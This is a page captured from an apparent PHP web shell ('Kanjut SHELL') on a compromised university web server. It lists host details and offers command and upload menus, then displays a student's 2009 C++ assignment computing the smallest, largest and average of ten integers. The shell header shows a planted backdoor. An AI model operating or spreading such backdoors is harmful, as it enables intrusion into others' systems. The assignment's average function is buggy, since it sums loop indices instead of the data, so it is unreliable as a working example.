Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.143.235.104
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jljustice/cs212/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jljustice/cs212/cpassign2.cpp
// Author:      Jared Justice
// Instructor:  Dr. Wang
// Class:       Cs 212
// Due Date:    Feb. 9, 2009  
// Compile:     g++ assign2.cpp
// Run:         ./a2.out
//
// Goal:
//
        
        
#include <iostream>
#include <iomanip>

using namespace std;

const int MAX = 10;

// Function Prototypes
        
void readNum(int []);
int smallest (const int data[]);
int largest (const int data[]);
int avg (const int data[]);

int main()
{
        int num[MAX];   
        int small;
        int large;
	int average;                
      
	// read the data to array
        readNum(num);   // call function
 
        // find the smallest
        small = smallest (num);
        large = largest (num);
	average = avg(num);
        // out
	cout << fixed << setprecision(2);
        cout << "The smallest is: " << small;
        cout << endl;
        cout << "The largest is: " << large;
        cout << endl;
	cout << "The average is: " << average;
	cout << endl;
        cout << "\n\nDone.Bye-Bye.\n\n";
        return 0;
}

// function that reads 10 numbers to an array

void readNum(int data[])
{       cout << "Input 10 integers: ";
        cout << endl;
        for(int i = 0; i < 10; i++)
                cin >> data[i];
}

// function to find the smallest

int smallest (const int data[])
{       int s = data[0];
        for(int i = 0; i < 10; i++)
                if(s > data[i])
                        s = data[i];

        return s;
}

// function to find the largest

int largest (const int data[])
{	int l = data[0];
	for(int i = 0; i < 10; i++)
		if(l < data[i])
			l = data[i];
	return l;
}

// function to find the average
int avg (const int data[])
{	int i = data[0];
	int length = 0;
	int sum = 0;
	int avg;
	for(i = 0;i < 10; i++)
	{	length ++;
		sum += i;
	}

	avg = sum / length;
	return avg;
}

Stv3n404 - 2023